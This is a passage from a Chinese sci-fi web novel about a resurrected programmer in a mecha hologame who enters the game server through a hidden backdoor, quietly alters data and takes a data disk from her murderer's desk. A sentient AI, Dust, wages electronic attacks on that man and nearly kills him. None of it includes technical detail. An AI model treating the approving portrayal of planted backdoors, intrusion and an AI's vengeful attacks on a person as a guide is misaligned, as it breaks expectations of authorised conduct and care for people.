的蓝星人，喜欢完整地保存遗体，放进一个长方形的盒子里。 但这个盒子通常和人一样大。 “棺材呢？人埋哪儿了？” 陶影抬头指了一下天空：“喏。” 那里是一台悬浮的星舰，大概可以容纳几千人的容量。 “这是人类太空流浪时的星舰！” 猫核兴奋地从背包里掏出绳子，钩子往天上一甩，牢牢挂在星舰的舷窗上。 她体力强悍，三两下就靠着钩爪爬入星舰，南卦也很感兴趣，跟在后面一起进去了。 林别歌站在绳子底下，犹豫万分。 陶影对着林别歌：“你不去？星舰里多半有奖励。” 林别歌迟疑了一下。 “说不定有人类远古时代的食物留存。” 林别歌当即拍板：“那我去看看。” 几名队友都进去了。陶影慢悠悠，喘着气走了几步阶梯，来到一处平平无奇的角落，掀开墙壁上的藤蔓。 该干另一件正事了。 面前是严严实实的墙壁，陶影面色淡淡地伸出手。 指尖触碰到墙壁的瞬间，墙壁漾起波纹。蓝色的电子光辉闪烁着，一串串代码从眼前闪过。 【确认root用户权限：S。最高权限已获取。】 【你好，创造者，好久不见。】 一股温暖的电子流从陶影的身体释放。 墙壁的波动越来越大。 先是陶影的手掌穿过那层电子信息流，然后是手臂，胸口，腿。 陶影整个人走入墙壁。 程序员第三守则—— 记得写程序的时候给自己留个后门。 莱门市，海台科技公司，《火种》工作室。 办公室里只有十来个人。 当年开服的盛况早已不再，火种这么大型的全息游戏，现在只剩十几个人在运作。 现在她们只是一家小作坊而已。 伊琳娜——总裁大人正在打盹，突然程序冲了过来。 程序啪一下把电脑拍在伊琳娜面前。 “总裁出事了！！有人入侵了游戏服务器！！！还更改了游戏数据！！！” 伊琳娜正在暂替辞职的美工做海报，头昏脑胀，看了眼屏幕，一片红的蓝的绿的。 红色就算了，她看不得绿色，谢谢。 伊琳娜头疼地：“给我看这个有什么用，程序上的事以前都是陶影包圆的。” 陶影那个工作狂，程序滴水不漏。 这么多年从没被外人攻破过防火墙，究竟是谁这么大本事，能破解陶影设下的防火墙？ 伊琳娜推测：“是之前封掉的那几个人来报复？” 程序员顶着黑眼圈生无可恋地抬头：“他们有这个本事，还能靠欺负新人取乐？” “那倒也是，算了，先补救吧，这名黑客攻击服务器改了什么数据？排行榜？还是氪金数据？回退一下版本先，发个公告安抚一下玩家。” “她，她没有对服务器进行攻击。” “嗯？”伊琳娜撑起身子，“怎么回事？” 说到这个，程序也是一脸疑惑：“她整个入侵过程都非常隐形，不像是报复攻击。如果不是我碰巧看到有玩家提工单，根本不会发现。” “有新玩家报bug说，新帐号选择体质的下限，被调成了F，我回去查代码，才发现修改痕迹。” 把体质下限调成F？这是出于什么离谱的目的。 “她就没改其它东西？就改了这个？图什么？” “哦，哦——也不只改了这个。”程序员扶了扶眼镜。 果然嘛，她就说，怎么可能入侵一级防火墙就改个体质。 伊琳娜一副了然于心的表情，放松下来，靠在松软的椅背上。 “还改了什么？” 程序认真道：“她还新增了一点基因病，像是灰尘过敏啊……什么的。总之是很罕见的毛病。” 伊琳娜喝了一口水，险些被呛死，她直起身子，眯着眼睛。 言简意赅，直抒己见道—— “这黑客有病？”—— 作者有话说：陶影：深爱的朋友说我有病，好伤心（捂胸口 伊琳娜：…… 第43章 墙壁的背后,不是什么很难以想象的地方。没有复杂的代码，没有高端的防火墙。 只是一个普通房间。 样式是按照以前火种的工作室打造的。 陶影改完需要的数据，闭眼躺在椅子上,转了圈。随手拿过桌面上那杯虚拟的冰莱式，捧到嘴边喝了一口。 “哦,味道挺还原的。” 陶影怀念地打量了一下工作室。 白色的墙壁贴满了错版印刷的太空女鬼海报——伊琳娜是这个系列的忠实粉丝，听说她后来还投资了后续几部太空女鬼的拍摄,虽说拍出来都是烂片,但不知道为什么,粉丝群体非常爱。 便于清洁但难看的地板，甚至连那股有毒的家具气味都还在。 陶影低头看了眼工位摆着的几盆绿植,说是净化空气,实则纯粹起心理作用。手在叶片上捏了捏,揪下一片黄色的叶子，对着窗外的阳光。 阳光透过叶片,进入陶影深深的，黑色的瞳孔。 就连阳光都那么熟悉,好像什么都没变。 陶影勾起嘴角，陷入回忆。 工作室是伊琳娜在B区租的，租金很便宜。 小小的。 就像火种还未诞生时的模样。 第一个预告片出来时,没有人看好这个游戏，都觉得是异想天开。 过往的机甲游戏，大多都更注重游戏性，而机甲的驾驶体验上，更多是根据固有的数据，千篇一律。 而火种，要根据现实机甲的数据,打造一个充满“真实性”的游戏。说是游戏，或许也可以说是战场模拟程序。 外行看来是很有趣的概念，但实际做起来，太难了。 换个角度想，要真那么好做，又有市场，几大机甲商手里多的是成熟的机甲数据，他们不早就开发了，还轮得到她们一群学生赚这个钱？ 所以伊琳娜一开始提出这个概念的时候，陶影虽然很感兴趣，但并没有直接答应。 准确地说，陶影那时候正在图书馆，看着手里的‘星际机甲系统设计赛’报名表，头都没抬一下。 “太忙了，没时间做。” 伊琳娜按住她手中的报名表，死缠烂打道：“那你先随便做做，到时候成品能成什么样就什么样吧。” 陶影：“你为什么想做这个游戏？” “为了赚钱。” 陶影手里的笔一顿，终于抬起头：“伊琳娜……我记得你读的是金融系吧？这个投资，需要多久才能收回来，你心里有数，这种理由可说服不了我。” 伊琳娜拿出她的商业计划书，文件夹看上去很薄。 陶影迟疑着翻开，里面只有一张纸，一行字。 ——我们海台家不缺钱。 彼时，尚且稚嫩的陶未成年大学生影，面无表情地合上了计划书，随后言简意赅，匪夷所思道：“你有病？” 绕这么大一圈，甚至非常认真地讲了半天游戏概念。 最后就为了耍她一下？ “我没病，我说真的，”伊琳娜敲敲桌面，“我知道你缺钱。” “……”陶影视线冷漠地抬头。 伊琳娜被她看得浑身上下不舒服，认输道：“我可没故意调查你啊，好吧其实调查了，但根本查不到什么，只是你们学院的人都说你缺钱。” “这不挺好的嘛，你缺钱，我有钱，我们合作啊。” 陶影账户里骤然增多几百万星币。 这笔钱对彼时的她来说，还挺多的。 但陶影面上还是冷淡地：“等比赛结束，我考虑一下。” 然后伊琳娜就火急火燎地租了工作室，给了陶影备份钥匙。 显然当作是她同意了。 …… 陶影发誓，一开始她真的只是随便做做。 只是后来吸引了不少机甲爱好者，再加上陶影跟伊琳娜在莱门大学的“鼎鼎大名”，团 队的人数逐渐变成了十几个……上百个。 陶影呆在工作室的时间越来越多，开始天天加班。 伊琳娜一开始：“陶影，快来工作室写代码！机甲程序课你闭着眼睛都能满绩，上什么课上！” 伊琳娜后来：“……你要不休息一下？” 再后来：“我求你休息一下，别死我工作室里了。” 游戏上线前伊琳娜：“陶影，你上次睡觉是几天前来着？工作狂，给我滚去睡觉！安眠药呢，我安眠药放哪儿了？迷药！镇静剂！统统灌她嘴里！怎么还醒着，管家，拿枕头来！我要掐死这个工作狂！” 伊琳娜抱着工作室的等身大太空女鬼立牌，开始发疯。陶影从光脑前抬起头，眼里满是跳动的代码。 完全没有听清伊琳娜在说什么。 这人干嘛打扰她写程序？ 陶影直抒胸臆道：“你有病？” 伊琳娜：“……” 工作室的其它成员齐心且不顾陶影死活地，给她点了二十杯冰莱式。 “加油，主程序师。”“靠你了。” “虽然不知道怎么回事，但我们写的bug好像运行起来了，好神奇。” “别死啊，主程序师。” “加油。”“大家都要好好活到游戏上线那一天。” 每个人都面带黑眼圈，筋疲力尽，好像下一秒就要赛博飞升。 但眼神中闪烁着对游戏上线的希望。 再后来，《火种》没有让她们失望。 开服后，全星际的玩家涌入，迎来了史无前例的玩家数量。陶影几度扩张服务器，依旧还是爆满。 没有人不知道《火种》，大街小巷都能看见它的身影，小学部、中学部都在玩，大学部更是不说了，军校生人手一份游戏，用作课余训练。 甚至听闻一些军队内部，也会参考内部的模拟信息。 不少人因为这个游戏，第一次尝试全息游戏舱。 游戏舱的销售率大幅提升，听闻甚至有一些型号的游戏舱，因为对火种优化很好，直接断货好几年。 游戏风靡全星际。 团队赚了不少钱。 总之是很有意思的一段时光。 陶影托着脸，一脸怀念地扫过工作室相机，一张张翻着大合影。 十几年过去，《火种》的游戏生命已经到了末期，收入大概只能勉强支撑它运行。 但不知道为什么，迟迟没有关服。 “也不知道某位有钱人现在日子过得怎样。”陶影喃喃道。 不过背靠海台科技，总归不会差到哪里去……吧？ …… 【代码更改已完成。热部署中。】 【部署完成，等待缓存加载。】 【缓存加载完成。】 陶影回过神，想起进来的目的。 她要把体质下限改成F来着。 游戏最低只能设置体质为E，那为了训练符合现实情况，当然要小小修改一下。 但大费周章入侵一级防火墙，进去了就改个这……伊琳娜如果发现了，肯定在总裁办公室大骂她有病。 陶影笑出声。 她们俩人都有病，不然怎么能做朋友？ …… 推开门，离开回忆的工作室。 墙面漾起水波纹，蓝光闪烁片刻后，渐渐平缓，陶影从波纹中走出来，就好像刚刚什么也没有发生。 随后坐在原地，休息着，顺便等几位队友探索完星舰。 队频传来消息，似乎是三位队友在星舰内部找到了奖励。 但都是火种币或者装备之类的，没什么特别的收获。 陶影发消息提醒：“要不再仔细找找驾驶舱垃圾桶？” 果然，不久后，队友一个个兴奋地顺着绳子从高高挂起的星舰滑了下来。 “我找到了日志碎片！”这是猫核。 “垃圾桶里竟然有食物，写着什么‘好朋友派’，可惜一碰就碎了，不能吃。”这是林别歌。 “好美丽好古老的工业设计，狠狠画了。”这是南卦。 林别歌和南卦兴奋了一阵，想起还有课，发了一个鼓掌的表情，就下线了。 猫核把航行日志发到考据群里，群里一片震惊。 “又找到碎片了？你们什么狗屎运？” “是热渊迷宫的副本吗？可恶，后悔了，刚才该跟S一起组队的，早知道我逃小测也要去看一眼。” “S老师，下次有副本请私聊我，谢谢。” “S老师请私聊我+1。” 猫核也有事，先下线了。 在军校勤勤恳恳上了一天课之后，猫核再次上线，看到陶影似乎在爬天梯榜。 猫核点了一下玩家S的用户信息面板，弹出窗口。 用户今日在线时间：十五个小时。 猫核心中震撼，私聊问了一句：“S老师不上课吗？” 之前跟林比格她们聊天，感觉太空女鬼队成员都是大学生，而且她们似乎住一块，课程也是一起的，怎么那两个经常上课，而S老师却堂堂在线15个小时。 陶影随口胡说八道：“因为我有网瘾。” “你一个人干嘛呢？组队不？” “今天不，暂时打打天梯榜。” 天梯榜？这是一天都在爬榜吗？ 猫核好奇地看了眼陶影的比赛记录…… 呃，三十六场，只赢了一场。 武器不是都升级了吗？岩浆巨蠕都能干掉，为什么1V1新手场会输成这样？ 猫核一头雾水。 但猫核瞬间发现另一个不对劲的点。 三十六场。三十六场？ 猫核一个后仰。 S老师是今天她们下线之后，才开始爬榜的吧？几个小时，她就打了三十六场了？ 平均下来不到十分钟一场？ 猫核再看对战时间，几乎是上一场结束后，无缝接下一场。 这……这，虽然是游戏，但是也要消耗精神力的啊。 S老师的精神力是没有底线吗？ 陶影从游戏舱内爬出时，已经是凌晨十二点。 身体有点累，不过精神依旧很好。 想着去厨房找点吃的，但小叶以刚吃饭立刻睡觉对胃不好为由，从胸口掏出一瓶营养液，递了过来。 “嗯？”陶影顺手接过。是她最喜欢的猫薄荷口味。 “你订购的？这个很难买到。”上货很少，需要抢的。 小叶歪歪头：“不喜欢吗？” “挺喜欢的。”陶影一口喝完。 就是很少有人知道她喜欢这个，不知道怎么会买到。 唔，大概是巧合吧。 林别歌和南卦正坐在一楼，看星火科学系列节目，今天似乎正好演到什么推理特别篇，说很好看，非要拉着陶影一起。 两人叽叽喳喳看到一半，困了，就这么睡在了客厅。陶影叫了半天，没叫醒。想找智能管家帮忙，但小叶似乎又耗尽电量，在杂物间充电。 陶影只能拿来毯子，给两位队友盖上。正要回二楼睡觉，突然接到一个电话。 陶影接起：“哦，嗯，好的。那明天有空。” 南卦被吵醒，揉揉眼睛，迷茫地坐起身问：“什么事啊？” 小影的声音听上去挺严肃的样子。 “哦，没什么，小问题，”陶影摆摆手，示意她继续睡，“星际联赛的工作人员说我们报名材料有问题，需要重新提交。我明天去报名处看看。” ……南卦瞬间惊醒。 联赛报名材料出问题，这哪里是小问题啊！—— 作者有话说：传下去，陶影喜欢猫薄荷味的营养液。 第44章 星际联赛,全称“星际高校联赛”，全星际的大学生都可以参加，但需要以学校的名义报名。 所以材料会先提交给学校审核,再提交给联赛部门。 陶影大概找联赛报名处了解了一下情况。 “你们的材料被学校卡住了。莱门大学那边没给通过，我们这边也没办法。” 莱门大学卡她的材料？ 陶影一脸疑惑。 大学一般都鼓励学生参赛,只有追着学生报名的 ，怎么会卡学生材料？ 陶影思索片刻,给对外联络部打了电话,工作时间,三次都是无人接听，自动挂断。 直到第四次,响了很久,陶影已经打算挂了,突然有人接起来。 但对方态度也不怎么耐烦，总是打断陶影说话。好不容易说清楚来龙去脉,对方慢悠悠道： “哦，这件事啊,我说句实话你别不爱听，你们去参加联赛，海选第一轮就会被刷下来。” “何况你们机特学院的水平嘛……”那人意味深长地拉长尾音。 “懂的都懂。” “总之,学校也有自己的考量，希望你理解。” 叽里呱啦说了一大堆，总之意思就是不给过。 陶影时不时“嗯”一声，手在光脑上点了点，若有所思。 明白了。 觉得他们机特学院的水平太差，出去比赛会给学校丢脸，故意卡了她的材料。 外联部都是老油条了,估计是觉得她们肯定会输，想着能少点麻烦就少点麻烦。 看来这条路走不通，没必要跟他们浪费时间。 陶影打断了对方的长篇大论，直接道：“那材料退给我吧，我下午来取。” 说完也没等回答，陶影径直挂掉电话，就要起身出门。 腿上突然一重。 原来是大面包闻到陶影身上的猫薄荷味，一屁股坐在了她的大腿上。 “嘶——下去。” 陶影面无表情戳戳实心大面包的屁股，它不太满意地挪动几下，最后在陶影冰冷的眼神凝视下，不情不愿地跳进花园，追蝴蝶去了。 陶影看着自己大腿上四个猫爪型的淤青，扶墙起身，仰头看天。 前途多舛啊。 …… 对外联络部的戈登松了一口气，放下通讯器。 同事千惠美正在欣赏自己的美甲，看同事这么紧张，笑笑：“谁啊，就接个电话，这么如临大敌，主任打来的？” “主任？他骂我干什么，他都不管事。是学生，就那个特有名的学生，白颖。” “啊？她！”许浩大吃一惊。这名学生在校内可非常有名，一是因为体质F太过惊世骇俗，二是精神力S太过引人注目，三是…… 许浩啧啧摇头：“听说她把爱荷华家族的小少爷送进星际监狱去了，胆子真大。” 千惠美不以为然，往嘴里抛了颗瓜子：“平民怎么可能有这么大的胆子，她肯定有后台。” “有瓜？” “什么，有瓜？” 同事竖起耳朵。 千惠美用手遮着嘴，小声道：“听说是海台科技……” 整个对外联络部，凑到一起，兴冲冲讨论了半天陶影的后台究竟是谁。 “咳总之，这次卡她报名材料，我还以为会有多难缠呢，她倒是挺乖巧的，一句都没反驳，嗯了一声就挂电话了。” “机特学院要是参赛了，到时候星网头条指不定怎么编排我们。莱大因为机特学院丢了多少脸啊……太拉低我们的档次了。” “当初就不该合并这个三级军校。” “上次海选，机特学院第一场就输了，输得特难看，网上有人P梗图，管我们叫菜门大学，菜鸡的菜，你说缺德不缺德。” “莱门大学好歹是星际TOP1高校。” 三位同事一人一句，聊得热火朝天，没有注意到有人进来。 男人将保温杯放在桌上，不轻不重地一响，他们一下子就安静了。 “朱、朱弛主任？您什么时候来的？” 三人尴尬地哈哈笑，脑子已经开始飞速旋转，刚才有没有说什么不该说的。 他怎么突然来了！平时连个面都不露的人，今天竟然破天荒地出现在了办公室。 是什么人惊动了他们主任。 那名叫朱弛的中年男子放下手中的报纸——露出略微发福的身躯。 千惠美转过头小声用口型道：“他为什么手里要拿份报纸？” 许浩摇头：“不知道，我都用光脑看新闻。” 戈登：“报纸上都是蓝星文字，好艰深，星际很少有人能看懂。我刚看了一眼，其实他报纸拿反了。” 千惠美恍然大悟地点头：“我懂了，为了装X。” 朱弛，莱门大学名誉校友，外联部主任。很厉害的名头，但向来挂名不管事。 他前段时间还在莱门监测中心监测一级智能体。这次怎么突然回校？ 千惠美悄悄给同事发消息：他来干嘛？ 许浩：我咋知道。 戈登：感觉有阴谋。 “材料给我看看？” 朱弛慢悠悠地拿过报名材料，手里还端着保温杯泡枸杞。 “体质F还开机甲？呵，异想天开。” 朱弛笑声里带刺，语气轻视。 但看着那份材料，眼神越皱越紧，手里的保温杯都不自觉晃荡了两下，洒出水烫得他手一缩。 “朱主任，怎么了？” “……没什么。” 朱弛甩甩手，满不在乎地将材料收到了抽屉里。 等所有人走光后，他才拿出那份报名材料。 【参赛人员：白颖、南卦、林别歌。】 【报名赛事：星际大学生机甲联赛。】 白颖。 他这次回莱门大学，就是为了这个学生。 朱弛盯着那个名字看了两眼，冷笑一声，他嘴里嚼着枸杞，手一抬，厚厚的一沓报名材料，统统飞进了文件处理机。 一阵高温后，粉碎机结束了清理，自动打开。 陶影精心准备的材料全化成了灰。 朱弛对着灰，深吸一口气，爽得浑身发抖。 他喜欢这种烧掉一切的感觉。 朱弛心情愉悦地背着手，离开了办公室，掏出光脑，发了条消息。 ——已经处理了。 半晌，对面缓缓回话。 ——好。 ——这学生在把甘逸送进监狱的时候，就该明白，自己做的每一件事，最终都要付出代价。 对外联络部在四楼，陶影爬得有点累。她拉过一把椅子坐下。 “老师，我上午说的来拿材料。” “哦，我记得。” 戈登好奇地瞥了这位校园风云人物两眼，心想她比传闻中描述的要健康一点，倒也不至于那么弱不禁风，只是时不时咳嗽两下。 她来拿材料，材料啊。 戈登的手象征性地在乱七八糟的文件堆里翻了翻，但没找到。 哦，对了。之前递给朱弛主任了，看完好像没还给他，估计是放在他抽屉里了？ 但朱弛的抽屉也没人敢翻。 戈登嫌麻烦，干脆说：“不知道去哪里了，可能弄丢了吧。” “哦？” 陶影身体微微前倾。 “报名材料里有重要个人信息。我应该是听错了吧，您刚刚是说‘可能’弄丢了吗？” 陶影语气带着点学生气的疑惑，笑容如沐春风，没有一点指责的意思。 但眼神凉凉的。 不知道为什么，戈登莫名抖了一下，有种被非人生物盯上的恐惧感。 千惠美拉住他的袖子，用口型道：小心她回头投诉你。 许浩：就是，她连爱荷华家族都敢得罪。 “啧，你们这些学生麻烦事怎么这么多。”戈登心虚地又翻找两下。 文件丢了，这事可大可小。 很明显这名学生不是那种好糊弄的人。 偏远星系，高分被换，读了个破烂学院，还能心态这么稳，不是普通人。对，破烂学院，这么说来，毕业证好像也不太能威胁她。 万一惹急了，这学生光脚的不怕穿鞋的—— 呃，表明态度，装模作样找找吧。 三人象征性地开始翻找。桌子上下，抽屉里，文件柜，甚至垃圾桶里都找过了，一无所获。 但有一张桌子，他们一直没敢动。 陶影眼神沉沉地扫过桌面陈设。 桌子上干干净净，什么文件都没有，右手侧放着保温杯，上面还冒着热气。 位置挺好 ，应该是外联部负责人的工位。 陶影余光瞥到桌上的名牌，愣了一下， 她慢吞吞站起来，路过桌面，状似无意地瞥了一眼。 这下除了名牌，还看见中年男子和家人的合照。 ——朱弛。 没错，是朱弛。 虽然体型有变化，但这人的脸，化成灰陶影都认识。 谁会忘记杀死自己的人？ 十年前，莱机所的那场火，是朱弛放的。 那天，朱弛盗取内部ID卡，在莱机所泼洒机油，堵死了每一条出去的通道。 隔着窗户，朱弛站在她那位未婚夫背后，快意地看着她。 朱弛曾经在陶影手下做事，因为技术水平太差，且手脚不干净，被陶影不留情面地赶走。 他对陶影的自卑，变成了极致的恨意，而这恨意在杀死陶影的时候，终于得以释放。 “分明是偏远星系出身的贱民，凭什么踩在我头上命令我。” “你高高在上，看不起我！” “才能？呵。” “你再厉害又怎样，能制造出恒我又怎样，没有人会记得。你制造的一切，最终都将变成我成功路上的踏脚石。” “没人记得你。” “所有人将歌颂我。” “你将成为那个剽窃者，而我，将成为新一代知觉机甲的总设计师！” 朱弛的确这么干了。 得益于背后的势力。 现在他是“溟火”的总设计师，而莱机所随着那场大火，已经不复存在。 如果陶影没有活过来，恒我会被彻底销毁。 一切将如他们所愿。 陶影手心发热，身体滚烫，仿佛回到死去的那天。 火势汹涌，裹着令人窒息的热度，四面八方袭来。 她逃向一个房间，却似乎没有恐惧。 心中想着，她还有事情要做。 她不能死在这里。 火舌追着，从脚下点燃陶影的皮肤，灼烧她的肉/体。 陶影蓦然出现一种灵魂抽离身体的疏离感，双目失神，精神涣散片刻。 那瞬间，她觉得自己仿佛又死亡了一次。 但没有，她的灵魂回到了躯体。 因为耳边传来光脑助手急促的报警声。 “主人！你醒醒！” 陶影迷茫地眨了眨眼，低头看向光脑助手，心率那一栏不知到什么时候飙升到了极限。 她盯着那个数字慢慢回落到正常水平。 哦，好险，差点晕过去。 三秒后，陶影恢复正常，又变回那个游刃有余的坏女人。 苍白指尖在焚烧机盖子上轻轻一碰，火焰还有余温。 办公室内，戈登还在翻找文件，千惠美似乎发现那名前来找材料的学生有哪里不对，奇怪地看着她。 陶影往朱弛的位子上一坐，嘴角上挑。 来都来了。 帮朱主任找点事做吧—— 作者有话说：小影一笑，事情难料（ 第45章 陶影在朱弛的座位堂堂正正地坐下了,不仅如此，手里还拿着朱弛和他家人的照片，仔细欣赏。 “哦,朱弛主任结婚了。”陶影语气平和地看着照片，眼中闪过几丝不可捉摸。 因为逃课坐下得太过理所当然,且她的脸颊实在苍白，大家一时也不知道她是不是因为身体不舒服所以坐下的,都欲言又止地看着她,不知道该如何开口。 千惠美小心翼翼地说：“同学……那是朱弛主任的座位。” 言下之意,你要不让让？ 这把椅子，是朱弛私人定制的符合人体工程学的高级货。朱弛向来不喜欢有人碰他的东西。要是被他本人知道有人坐他的椅子,指定生气。 但看陶影这个脸色,叫她起来好像也有点虐待学生。 许浩思索片刻,想了个折中的办法，他搬来自己的椅子。 “学生,来，你坐这把椅子。” 但陶影半个人趴在桌面上,没动。 众人视线看不到的地方，她一只手在桌下摸索着什么。 嗯，应该是在这里吧……有了！ “同学？你在干什么？”几位外联部老师似乎终于觉得陶影的姿态有点不对,走上前来。 陶影装出一副刚回神的表情，拔掉手中的数据盘，塞进后腰，然后一脸无辜地坐起身。 她举起手中的蓝色文件夹，朝众人晃了晃。 陶影：“终于找到了，我的联赛报名材料。” 千惠美的脚步一顿：“找，找到了？” 戈登并不意外：“哦,果然是在朱弛教授那里。” “老师既然知道，怎么刚刚不过来找，一直在那边来回翻？”陶影手托着脸，直白地问。 戈登轻咳一声，掩饰尴尬。总不能说他是不敢动朱弛的东西，所以拉着同事假装在那里找吧。 戈登挠头道：“这，这个嘛，忘了。” 许浩手一挥：“你问这么多干什么，找到不就行了。不过你拿回材料又有什么用？报名是要通过我们莱大外联部的。” 后面的话许浩没说，大概意思就是：外联部不给通过材料的话，拿回去你也照样不能参加星际联赛。 陶影双手交叠，有一搭没一搭地敲着桌面。 片刻后，她仰头露出一个堪称教科书级别的乖巧笑容：“真的不通过？说不定以后会后悔。” 众人一言不发。 “好吧。”得到意料之中的拒绝答案，陶影耸耸肩，没有继续纠结。 她抱着文件，跟老师道别，就打算离开。 正出门的时候，去楼上办事的朱弛也回来了，陶影站在门前，顿了一下，微笑着打了个招呼，和朱弛擦肩而过。 而朱弛却先一步叫住了她：“白颖？你来干什么？” 陶影将手中的文件夹背至身后，面露疑惑：“嗯？朱教授认识我？” 朱弛一双肥厚的大手，在陶影肩上拍拍，不知是不是故意的，下手力度挺大，陶影差点岔气，她不动声色地后退两步，离这人远点。 朱弛露出一副慈祥的好人面孔：“你在莱门大学可非常有名。对了，你手上那份文件是……” “嗯？在您桌下发现的，是我的报名材料。”陶影说着，把文件夹又往身后藏了藏。 朱弛神色变得奇怪。 报名材料？那已经被他扔进文件焚烧机烧得连灰都没有了。这学生拿的什么文件？ 不可能。肯定是她偷拿了其它的文件。 “你那份文件，看上去像是拿错了。能不能让我确认一下？” 朱弛一笑，脸上的肉挤成一团，本来就小小的眼睛，这下几乎看不见了。他说话倒是人模人样的，但身子在门前一挡，明摆着不是商量的语气。 “这……我能不能拒绝？”陶影一脸迟疑地后退了一步。 她这个犹豫的态度，更让朱弛确定了，肯定有鬼！ 可她拿的是什么呢？他办公桌下的文件，难道是那个？朱弛的脸色突然惊慌起来。 如果是那份文件，绝对不能被她拿走。 朱弛想到这里，死死地抓住陶影的手臂，明显是不肯罢休。 朱弛面上挤出一个笑，牙齿却咬得死紧。 “同学，材料本来就是我要审核的，只是看看而已，为什么反应这么大？你这样会让我怀疑，你有些其它的目的。” 他抓得过紧，陶影“嘶——”了一声，朱弛愣了一下，收回了手。 陶影举起手一看，手臂上五个手指的淤青。 陶影睁大眼睛，控诉道：“教授，我又没说不能给你，你不至于掐我吧？你看看，都青成这样了？” 朱弛：“……” 戈登出来打圆场：“这个，这个主任也不是故意 的。” “是啊是啊。” 陶影一副通情达理的模样：“我当然知道他不是故意的。” 几人松了一口气。 陶影又说：“所以赔钱就行。” “……” 十分钟后，陶影收到了二十万星币的转账。 二十万对朱弛来说，应该还挺多的。听说他为了进莱门监测中心工作，花了不少钱。 看朱弛冷脸打钱，还要硬装不在乎的样子，爽了。 陶影笑眯眯拿完钱，抬腿就走，朱弛下意识拦她，陶影举起右臂的淤青，在他面前晃了晃，朱弛手又缩了回去。 朱弛咬牙，看着陶影手中的蓝色文件夹。 “文件。” “都说了是我的报名材料，不知道为什么不信。”陶影无奈地翻开文件，里面掉出一张照片。 千惠美下意识想上去帮忙捡，却被朱弛一把抢过。 慌忙间，千惠美的美甲划破了朱弛的手。 朱弛神色扭曲了一瞬。 怎么今天尽是遇到倒霉的事情！ 不过还好抢回了照片。 他拿着那张照片却愣住了。 这不是他的照片。 照片上是三名笑容灿烂的清澈大学生。 照片里，林别歌站在小吃摊位前，手里拿着辣烤田鼠，嘴被辣成了香肠，南卦在旁边拍掌大笑，陶影举着光脑，镜头对准团队，嘴角勾起，咔嚓一下。 显然是张三人自拍。 陶影微笑着解释道：“哦，这是我跟两位队友在附近的小吃街拍的照片。不小心夹在文件里了，因为很有纪念意义，所以才来拿的。” 朱弛不可置信地翻开文件，里面竟然真的是报名材料，和他刚才翻看的一模一样。 可明明被他烧成灰了啊？ 难道真的是他看错了？ 陶影：“朱主任怎么了？好像见到鬼一样的表情。我的材料有什么问题吗？” “没，没什么问题。” 陶影离开了。 而朱弛却完全平静不下来。 他手指打着颤，摇晃着身体回到座位，强装镇定。 片刻后他坐不住了，快步来到卫生间，颤颤巍巍关上隔间的门，坐在马桶上，从兜里掏出药瓶，抖着手吃了两颗。 自从陶影死后，朱弛就感觉事事都不顺。一直做噩梦不说，不管到哪里都觉得有什么东西跟着他，但家人说他是产生了幻觉，他去看了心理医生，医生说他是重度焦虑，总之先给他开了药，让他注意，日常状态如果有变化，要及时复查。否则后续情况变严重，可能演变为精神分裂。 不会的，不会的。这不是幻觉。 朱弛握紧了拳头。 他只是记忆出错了。他可能顺手把文件放到桌上，然后烧掉的是另一份文件。 只是太紧张了，记忆出现了差错。 想到这里，朱弛便恨恨地，拿起另一个瓶子，上面没有任何标签，内容物非常可疑。 他抓起一把，全吃下去之后，浑身轻松，仰躺在马桶上。 心情瞬间就好了。 对，他没病，为什么要吃药，医生都是在胡说！ 都是因为陶影，都是因为那个一级智能体！ 莱门监测中心档案，通缉代号A003，A级高危智能体，Dust。 最可恨的就是他！ 朱弛露出愤恨的眼神。 …… 少年扯了一下衣领，瘦削的下巴在白色高领毛衣边缘摩擦，划出几道红痕。 他抿唇，语气冷冷道：“真是阴魂不散，竟然还敢去接近小影。” 博美抬起前腿，试图举手提出异议。 “我接下来说的话不是杠你啊，Dust。但还是要讲点逻辑的，朱弛不知道这位‘白颖’是他曾经烧死的陶影吧？……你有在听我说话吗？Dust？哈啰？”博美在少年面前疯狂打滚，但被完全无视。 “……” 少年的手不停在空中挥动，操作着信息流，深蓝色的粒子在空中自在地流动，时而合起，时而分散，像是有意识的生物般，独具一种美感。 总之少年完全听不进去博美说话。 片刻后，空间投影出通往莱门监测中心的路线。 少年盯着屏幕中心的一级防火墙，冷冷地笑了。 “来都来了，给朱主任找点事情做。” ……这话咋这么耳熟，某陶姓女子刚刚是不是也说过？ 博美叹气。算了算了，劝不动。涉及陶影的事情，劝不了一点。 博美对这俩人之间的关系知道得不多。 只知道Dust一直在调查陶影的死因。 当年查到放火的是朱弛后，Dust二话不说—— 直接对朱弛的住处发动了电子冲击。 大规模的精准攻击，让朱弛住处的电子系统直接瘫痪，甚至发生小规模爆炸。莱门监测中心一开始将这误判为敌国攻击，甚至直接通知军方，启动了最高级别的电子防御。 帝国豢养的几百只智能体齐齐启动，Dust在这种情况下，避开了所有阻碍，一路追杀朱弛到雷瓦尔帝国的电子安全屋。 要不是当时时间紧张，朱弛现在已经死了。 是的，博美毫不怀疑，Dust当时就是打算杀死他。 直到Dust因为太过冲动，暴露了他的次级地址，险些被莱门监测中心抓住，博美说“你不是还要等陶影回来吗？”，Dust终于被劝动，这才收敛了几年。 不过Dust也没停手，只是换了个方式。 Dust温和地入侵了朱弛周围的空间，控制了他所能接触的所有电子元件。 从此朱弛家的音响会半夜突然放歌，电灯会莫名开始闪烁，冰箱会突然停止制冷。 听说有一次朱弛吃完冰箱里的东西，直接食物中毒进了医院。 朱弛忍受不了精神折磨，几乎把家里的电子产品全扔了，连新闻都看不了，只能每天拿着一份破报纸。 Dust被称为电子幽灵也不是没有原因的…… 偶尔像是电子恶灵。 …… 陶影离开大楼，找了一个安静且无人的地方，靠在树边，将数据盘连接上光脑。 【第三届知觉机甲技术峰会。】 【举办地点：莱门大学第一会议厅。】 【峰会内容：知觉机甲溟火-002的制造细节。】 【演讲者：朱弛。】 “受邀来莱门大学进行溟火二代机的演讲。我看看，受邀人员……嗯？好多人啊。” 机甲界的权威，都是陶影很熟悉的名字。 几大机甲研究所的所长，加西亚电子、爱荷华科技、柏氏工业、海台科技等机甲商的代表。 甚至有边陲小国政要。 陶影惊讶片刻，歪了歪头，眼中闪过一丝顽劣。 都是重要人士的峰会，怎么算不上完美的舞台呢？—— 作者有话说：戏台已经搭好x 第46章 莱门大学第一会议厅,在雷瓦尔帝国成立之初，是作为帝国元帅同王室讨论政治事务之用。 高耸的穹顶，绘制着帝国的图腾,虽然已经随时间淡化，但还残留着权力的余温。 